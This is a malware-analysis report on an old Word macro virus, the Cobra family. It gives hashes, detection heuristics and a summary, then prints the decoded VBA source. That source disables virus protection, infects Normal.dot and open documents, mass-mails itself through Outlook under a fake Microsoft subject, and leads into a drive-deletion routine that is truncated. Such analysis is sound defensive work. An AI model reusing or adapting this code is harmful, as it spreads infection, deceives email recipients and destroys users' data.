Cobra — Office (OLE) malware analysis

Static analysis result for SHA-256 2d146ab6531b27cd…

MALICIOUS

Office (OLE)

54.0 KB Created: 2000-06-23 01:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 93acb6a0bf1bcb949471b56614190893 SHA-1: 49fd899243642be96f51b1b318569cdeb92ed924 SHA-256: 2d146ab6531b27cd3976ded440c3a4aa207fb758b814072fd1ec1c2c52bf6230
320 Risk Score

Malware Insights

Cobra · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious Office document containing VBA macros. The macros attempt to disable virus protection and modify the Normal.dot template to ensure persistence and infection. The script explicitly mentions 'Cobra Version 2.0J.B' and 'An Intelligent Member of Cobra Family', strongly suggesting the Cobra malware family. The AutoOpen and AutoClose macros, along with the Shell() and CreateObject() calls, indicate an intent to execute malicious code upon opening and closing the document, likely to download further stages.

Heuristics 8

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14919 bytes
SHA-256: 3f9d2d396bbc92e00798e0fe13059a11bb39315709f4b408339e47aa26e572f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Friday"
'Cobra Version 2.0J.B
'An Intelligent Member of Cobra Family
Sub FileNew()
Call Protection
Call Infection
Call SeM
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileExit()
Call Protection
Call Infection
Call SeM
WordBasic.FileExit
End Sub
Sub FileOpen()
Call Protection
Call Infection
Call SeM
Dialogs(wdDialogFileOpen).Show
End Sub
Sub AutoClose()
Call Protection
Call Infection
Call SeM
End Sub
Sub AutoOpen()
Call Protection
Call Infection
Call SeM
End Sub
Sub Protection()
On Error Resume Next
CustomizationContext = NormalTemplate
For i = 1 To 3
CommandBars("Macro").Controls(i).OnAction = "ViewVBCode"
Next
CommandBars("View").Controls("Toolbars").Delete
Options.VirusProtection = False
Options.SaveNormalPrompt = False
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
End Sub
Sub Infection()
On Error Resume Next
Set N = NormalTemplate
Set D = ActiveDocument
NIN = False
For Each M In N.VBProject.VBComponents
If M.Name = "Friday" Then NIN = True
If M.Name <> "ThisDocument" And M.Name <> "Friday" Then Application.OrganizerDelete Source:=N.FullName, Name:=M.Name, Object:=wdOrganizerObjectProjectItems
Next
If NIN = False Then Application.OrganizerCopy Source:=D.FullName, Destination:=N.FullName, Name:="Friday", Object:=wdOrganizerObjectProjectItems
For Each OD In Documents
For Each M In OD.VBProject.VBComponents
DIN = False
If M.Name = "Friday" Then DIN = True
If M.Name <> "Friday" And M.Name <> "Reference to Normal" And M.Name <> "ThisDocument" Then Application.OrganizerDelete Source:=OD.FullName, Name:=M.Name, Object:=wdOrganizerObjectProjectItems
Next
If DIN = False Then
Application.OrganizerCopy Source:=N.FullName, Destination:=OD.FullName, Name:="Friday", Object:=wdOrganizerObjectProjectItems
OD.SaveAs OD.FullName, wdFormatDocument, False
End If
Next
End Sub
Sub ViewVBCode()
End Sub
Sub SeM()
On Error Resume Next
DY = "Fri"
If WeekDay(Date) = 1 Then DY = "San"
If WeekDay(Date) = 2 Then DY = "Sun"
If WeekDay(Date) = 3 Then DY = "Mon"
If WeekDay(Date) = 4 Then DY = "Tue"
If WeekDay(Date) = 5 Then DY = "Wed"
If WeekDay(Date) = 6 Then DY = "Thu"
If WeekDay(Date) = 7 Then DY = "Fri"
If Not IsDate(System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "FirstDay")) Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "FirstDay") = Format(Date, "mm/dd/yy")
End If
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "FirstDay")
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra At " + DY Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra At " + DY
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "Dhaka,Bangladesh/3rd World"
Set U = CreateObject("Outlook.Application")
Set D = U.GetNameSpace("MAPI")
D.Logon "profile", "password"
For l = 1 To D.AddressLists.Count
Set AB = D.AddressLists(y)
x = 1
Set B = U.CreateItem(0)
For i = 1 To AB.AddressEntries.Count
t = AB.AddressEntries(x)
B.Recipients.Add t
x = x + 1
Next i
B.Subject = "Important Message From Microsoft Via " & Application.UserName
B.Body = "Important Document About New Software:-"
B.Add ActiveDocument.FullName
B.Send
t = ""
Next l
D.Logoff
End If
CD = Format(Date, "mm/dd/yyyy")
TD = DateValue(CD) - DateValue(ID)
If TD > 28 Then
Call DelDrive
End If
End Sub
Sub DelDrive()
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra At " + "Fri" T
... (truncated)